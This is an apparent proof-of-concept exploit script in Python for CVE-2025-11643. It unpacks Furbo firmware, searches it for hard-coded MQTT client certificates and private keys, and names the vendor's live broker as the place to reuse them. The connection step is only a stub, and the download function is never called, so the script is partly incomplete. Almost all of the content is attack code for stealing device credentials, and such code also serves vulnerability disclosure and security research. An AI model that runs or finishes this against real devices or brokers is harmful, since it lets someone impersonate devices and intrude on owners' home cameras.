# CVE-2025-11643 PoC - Hard-coded MQTT Client Certificate Extraction
# This PoC demonstrates how to extract hard-coded credentials from Furbo firmware
import requests
import subprocess
import os
import tempfile
def download_firmware(firmware_url, output_path):
"""Download the Furbo firmware image file"""
print(f"[*] Downloading firmware from {firmware_url}")
response = requests.get(firmware_url, stream=True)
with open(output_path, 'wb') as f:
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
print(f"[+] Firmware saved to {output_path}")
return output_path
def extract_squashfs(firmware_path):
"""Extract SquashFS filesystem from firmware image"""
output_dir = tempfile.mkdtemp(prefix="furbo_")
print(f"[*] Extracting SquashFS to {output_dir}")
# Use unsquashfs tool to extract the filesystem
cmd = ["unsquashfs", "-d", os.path.join(output_dir, "squashfs-root"), firmware_path]
try:
subprocess.run(cmd, check=True, capture_output=True)
print(f"[+] Extraction complete")
return os.path.join(output_dir, "squashfs-root")
except subprocess.CalledProcessError as e:
print(f"[-] Extraction failed: {e.stderr.decode()}")
return None
def find_mqtt_certificates(extract_path):
"""Search for hard-coded MQTT client certificates in the extracted filesystem"""
cert_patterns = [
"*.pem", "*.crt", "*.key", "*.cer",
"mqtt*", "client*cert*", "client*key*"
]
found_files = []
print(f"[*] Searching for MQTT certificates in {extract_path}")
for pattern in cert_patterns:
cmd = ["find", extract_path, "-name", pattern, "-type", "f"]
result = subprocess.run(cmd, capture_output=True, text=True)
for line in result.stdout.strip().split('\n'):
if line:
found_files.append(line)
print(f"[+] Found: {line}")
return found_files
def extract_credentials(cert_files):
"""Extract credentials from certificate files"""
credentials = {}
for cert_file in cert_files:
try:
with open(cert_file, 'r') as f:
content = f.read()
if "BEGIN CERTIFICATE" in content or "BEGIN PRIVATE KEY" in content:
credentials[cert_file] = content
print(f"[+] Extracted credentials from {cert_file}")
except Exception as e:
print(f"[-] Error reading {cert_file}: {e}")
return credentials
def connect_mqtt_with_extracted_creds(broker, port, credentials):
"""Demonstrate connecting to MQTT broker using extracted hard-coded credentials"""
# This is a demonstration - actual exploitation requires the MQTT broker details
print(f"[*] Attempting MQTT connection to {broker}:{port} using extracted credentials")
# Note: Real exploitation would use paho-mqtt or similar library
# with the extracted client certificate for authentication
print("[!] This demonstrates the vulnerability - hard-coded credentials can be reused")
if __name__ == "__main__":
# Step 1: Download firmware (example URL - actual URL would be from Tomofun update server)
firmware_url = "https://example.com/furbo_firmware_update.img"
firmware_path = "/tmp/furbo_img"
# Step 2: Extract SquashFS filesystem
extract_path = extract_squashfs(firmware_path)
if extract_path:
# Step 3: Find MQTT certificates
cert_files = find_mqtt_certificates(extract_path)
# Step 4: Extract hard-coded credentials
credentials = extract_credentials(cert_files)
# Step 5: Demonstrate exploitation
if credentials:
print(f"\n[!] VULNERABILITY CONFIRMED: Found {len(credentials)} hard-coded credential files")
connect_mqtt_with_extracted_creds("mqtt.tomofun.com", 8883, credentials)